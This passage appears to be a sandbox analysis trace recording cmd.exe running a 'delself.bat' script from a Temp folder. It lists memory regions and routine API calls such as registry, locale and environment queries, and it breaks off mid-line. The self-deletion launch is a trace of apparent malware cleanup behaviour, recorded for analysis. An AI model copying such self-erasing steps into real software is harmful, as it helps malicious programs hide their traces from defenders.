"NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 298 start_va = 0x200000 end_va = 0x24ffff entry_point = 0x200000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 299 start_va = 0xaf0000 end_va = 0x4aeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 300 start_va = 0x4af0000 end_va = 0x4b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 301 start_va = 0x4b10000 end_va = 0x4b11fff entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 302 start_va = 0x4b20000 end_va = 0x4b33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b20000" filename = "" Region: id = 303 start_va = 0x4b40000 end_va = 0x4b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 304 start_va = 0x4b80000 end_va = 0x4c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 305 start_va = 0x4c80000 end_va = 0x4c83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c80000" filename = "" Region: id = 306 start_va = 0x4c90000 end_va = 0x4c90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c90000" filename = "" Region: id = 307 start_va = 0x4ca0000 end_va = 0x4ca1fff entry_point = 0x0 region_type = private name = "private_0x0000000004ca0000" filename = "" Region: id = 308 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 309 start_va = 0x7e3a0000 end_va = 0x7e3c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e3a0000" filename = "" Region: id = 310 start_va = 0x7e3ca000 end_va = 0x7e3cafff entry_point = 0x0 region_type = private name = "private_0x000000007e3ca000" filename = "" Region: id = 311 start_va = 0x7e3cc000 end_va = 0x7e3cefff entry_point = 0x0 region_type = private name = "private_0x000000007e3cc000" filename = "" Region: id = 312 start_va = 0x7e3cf000 end_va = 0x7e3cffff entry_point = 0x0 region_type = private name = "private_0x000000007e3cf000" filename = "" Region: id = 313 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 314 start_va = 0x7fff0000 end_va = 0x7dfaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 315 start_va = 0x7dfaf7a10000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfaf7a10000" filename = "" Region: id = 316 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 317 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 381 start_va = 0x4dc0000 end_va = 0x4dcffff entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 382 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 383 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 384 start_va = 0x4e90000 end_va = 0x4f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 385 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 603 start_va = 0x4af0000 end_va = 0x4afffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004af0000" filename = "" Region: id = 604 start_va = 0x4cb0000 end_va = 0x4d6dfff entry_point = 0x4cb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 605 start_va = 0x4d70000 end_va = 0x4daffff entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 606 start_va = 0x4f90000 end_va = 0x508ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f90000" filename = "" Region: id = 607 start_va = 0x51c0000 end_va = 0x51cffff entry_point = 0x0 region_type = private name = "private_0x00000000051c0000" filename = "" Region: id = 608 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 609 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 610 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 611 start_va = 0x7e2a0000 end_va = 0x7e39ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e2a0000" filename = "" Region: id = 612 start_va = 0x7e3c7000 end_va = 0x7e3c9fff entry_point = 0x0 region_type = private name = "private_0x000000007e3c7000" filename = "" Region: id = 613 start_va = 0x4b00000 end_va = 0x4b03fff entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 615 start_va = 0x4b10000 end_va = 0x4b13fff entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 616 start_va = 0x742e0000 end_va = 0x742e7fff entry_point = 0x742e0000 region_type = mapped_file name = "cmdext.dll" filename = "\\Windows\\SysWOW64\\cmdext.dll" (normalized: "c:\\windows\\syswow64\\cmdext.dll") Region: id = 617 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 618 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 619 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 620 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 621 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 622 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 624 start_va = 0x4db0000 end_va = 0x4dbffff entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 629 start_va = 0x4dd0000 end_va = 0x4df0fff entry_point = 0x4dd0000 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Thread: id = 12 os_tid = 0xf90 [0200.190] GetModuleHandleA (lpModuleName=0x0) returned 0x200000 [0200.190] __set_app_type (_Type=0x1) [0200.190] __p__fmode () returned 0x77984d6c [0200.190] __p__commode () returned 0x77985b1c [0200.190] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x2136e0) returned 0x0 [0200.190] __getmainargs (in: _Argc=0x2250e8, _Argv=0x2250ec, _Env=0x2250f0, _DoWildCard=0, _StartInfo=0x2250fc | out: _Argc=0x2250e8, _Argv=0x2250ec, _Env=0x2250f0) returned 0 [0200.190] GetCurrentThreadId () returned 0xf90 [0200.190] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf90) returned 0x84 [0200.191] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0200.191] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadUILanguage") returned 0x75172780 [0200.191] SetThreadUILanguage (LangId=0x0) returned 0x409 [0200.238] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0200.238] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x4c7f938 | out: phkResult=0x4c7f938*=0x0) returned 0x2 [0200.238] VirtualQuery (in: lpAddress=0x4c7f93f, lpBuffer=0x4c7f8f0, dwLength=0x1c | out: lpBuffer=0x4c7f8f0*(BaseAddress=0x4c7f000, AllocationBase=0x4b80000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0200.238] VirtualQuery (in: lpAddress=0x4b80000, lpBuffer=0x4c7f8f0, dwLength=0x1c | out: lpBuffer=0x4c7f8f0*(BaseAddress=0x4b80000, AllocationBase=0x4b80000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0200.238] VirtualQuery (in: lpAddress=0x4b81000, lpBuffer=0x4c7f8f0, dwLength=0x1c | out: lpBuffer=0x4c7f8f0*(BaseAddress=0x4b81000, AllocationBase=0x4b80000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0200.238] VirtualQuery (in: lpAddress=0x4b83000, lpBuffer=0x4c7f8f0, dwLength=0x1c | out: lpBuffer=0x4c7f8f0*(BaseAddress=0x4b83000, AllocationBase=0x4b80000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0200.238] VirtualQuery (in: lpAddress=0x4c80000, lpBuffer=0x4c7f8f0, dwLength=0x1c | out: lpBuffer=0x4c7f8f0*(BaseAddress=0x4c80000, AllocationBase=0x4c80000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0200.238] GetConsoleOutputCP () returned 0x1b5 [0200.284] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0200.284] SetConsoleCtrlHandler (HandlerRoutine=0x21f980, Add=1) returned 1 [0200.284] _get_osfhandle (_FileHandle=1) returned 0x3c [0200.284] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0200.315] _get_osfhandle (_FileHandle=1) returned 0x3c [0200.315] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x22e40c | out: lpMode=0x22e40c) returned 1 [0200.337] _get_osfhandle (_FileHandle=1) returned 0x3c [0200.337] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0200.823] _get_osfhandle (_FileHandle=0) returned 0x38 [0200.823] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x22e408 | out: lpMode=0x22e408) returned 1 [0200.839] _get_osfhandle (_FileHandle=0) returned 0x38 [0200.839] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1e7) returned 1 [0200.844] GetEnvironmentStringsW () returned 0x4e97e10* [0200.844] FreeEnvironmentStringsA (penv="A") returned 1 [0200.844] GetEnvironmentStringsW () returned 0x4e97e10* [0200.844] FreeEnvironmentStringsA (penv="A") returned 1 [0200.844] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4c7e89c | out: phkResult=0x4c7e89c*=0x94) returned 0x0 [0200.844] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x0, lpData=0x4c7e8a8*=0x48, lpcbData=0x4c7e8a4*=0x1000) returned 0x2 [0200.844] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x1, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x0, lpData=0x4c7e8a8*=0x1, lpcbData=0x4c7e8a4*=0x1000) returned 0x2 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x0, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x40, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x40, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x0, lpData=0x4c7e8a8*=0x40, lpcbData=0x4c7e8a4*=0x1000) returned 0x2 [0200.845] RegCloseKey (hKey=0x94) returned 0x0 [0200.845] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4c7e89c | out: phkResult=0x4c7e89c*=0x94) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x0, lpData=0x4c7e8a8*=0x40, lpcbData=0x4c7e8a4*=0x1000) returned 0x2 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x1, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x0, lpData=0x4c7e8a8*=0x1, lpcbData=0x4c7e8a4*=0x1000) returned 0x2 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x0, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x9, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x4, lpData=0x4c7e8a8*=0x9, lpcbData=0x4c7e8a4*=0x4) returned 0x0 [0200.845] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4c7e8a0, lpData=0x4c7e8a8, lpcbData=0x4c7e8a4*=0x1000 | out: lpType=0x4c7e8a0*=0x0, lpData=0x4c7e8a8*=0x9, lpcbData=0x4c7e8a4*=0x1000) returned 0x2 [0200.845] RegCloseKey (hKey=0x94) returned 0x0 [0200.845] time (in: timer=0x0 | out: timer=0x0) returned 0x5b7a8b63 [0200.845] srand (_Seed=0x5b7a8b63) [0200.845] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"\"" [0200.845] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"\"" [0200.845] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x236720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0200.846] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e99d68, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0200.846] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x22e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0200.846] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x22e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0200.846] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x22e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0200.846] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0200.846] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0200.846] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0200.846] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0200.846] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0200.846] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0200.846] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0200.846] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0200.846] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0200.846] GetEnvironmentStringsW () returned 0x4e97e10* [0200.846] FreeEnvironmentStringsA (penv="A") returned 1 [0200.847] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x22e4a0, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0200.847] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x22e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0200.847] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0200.847] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0200.847] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0200.847] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0200.847] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0200.847] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0200.847] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0200.847] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0200.847] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4c7f674 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0200.847] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x104, lpBuffer=0x4c7f674, lpFilePart=0x4c7f66c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x4c7f66c*="Desktop") returned 0x1d [0200.847] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0200.847] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x4c7f3f0 | out: lpFindFileData=0x4c7f3f0) returned 0x4e905c8 [0200.847] FindClose (in: hFindFile=0x4e905c8 | out: hFindFile=0x4e905c8) returned 1 [0200.847] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0x4c7f3f0 | out: lpFindFileData=0x4c7f3f0) returned 0x4e905c8 [0200.848] FindClose (in: hFindFile=0x4e905c8 | out: hFindFile=0x4e905c8) returned 1 [0200.848] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0200.848] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFindFileData=0x4c7f3f0 | out: lpFindFileData=0x4c7f3f0) returned 0x4e905c8 [0200.848] FindClose (in: hFindFile=0x4e905c8 | out: hFindFile=0x4e905c8) returned 1 [0200.848] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0200.848] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 1 [0200.848] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0200.848] GetEnvironmentStringsW () returned 0x4e97e10* [0200.848] FreeEnvironmentStringsA (penv="=") returned 1 [0200.848] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x236720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0200.849] GetConsoleOutputCP () returned 0x1b5 [0200.856] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0200.856] GetUserDefaultLCID () returned 0x409 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x2324a0, cchData=8 | out: lpLCData=":") returned 2 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x4c7f7a4, cchData=128 | out: lpLCData="0") returned 2 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x4c7f7a4, cchData=128 | out: lpLCData="0") returned 2 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x4c7f7a4, cchData=128 | out: lpLCData="1") returned 2 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x2324b0, cchData=8 | out: lpLCData="/") returned 2 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x232500, cchData=32 | out: lpLCData="Mon") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x232540, cchData=32 | out: lpLCData="Tue") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x232580, cchData=32 | out: lpLCData="Wed") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x2325c0, cchData=32 | out: lpLCData="Thu") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x232600, cchData=32 | out: lpLCData="Fri") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x232640, cchData=32 | out: lpLCData="Sat") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x232680, cchData=32 | out: lpLCData="Sun") returned 4 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x2324c0, cchData=8 | out: lpLCData=".") returned 2 [0200.856] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x2324e0, cchData=8 | out: lpLCData=",") returned 2 [0200.856] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0200.857] GetConsoleTitleW (in: lpConsoleTitle=0x4e9aac8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0200.858] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0200.858] GetProcAddress (hModule=0x75130000, lpProcName="CopyFileExW") returned 0x7514fa80 [0200.858] GetProcAddress (hModule=0x75130000, lpProcName="IsDebuggerPresent") returned 0x7514a790 [0200.858] GetProcAddress (hModule=0x75130000, lpProcName="SetConsoleInputExeNameW") returned 0x74e435c0 [0200.859] _wcsicmp (_String1="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"", _String2=")") returned -7 [0200.859] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"") returned 68 [0200.859] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"") returned 68 [0200.859] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"") returned 71 [0200.859] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"") returned 71 [0200.859] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"") returned 80 [0200.859] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"") returned 80 [0200.860] GetConsoleTitleW (in: lpConsoleTitle=0x4c7f490, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0200.861] GetFileAttributesW (lpFileName="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\\"c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat\"")) returned 0xffffffff [0200.861] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0200.861] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0200.861] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0200.861] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0200.861] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0200.861] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0200.861] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0200.861] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0200.861] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0200.861] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0200.861] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0200.861] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0200.861] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0200.861] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0200.862] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0200.862] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0200.862] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0200.862] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0200.862] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0200.862] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0200.862] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0200.862] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0200.862] _wcsicmp (_String1="\"C", _String2="CLS") returned 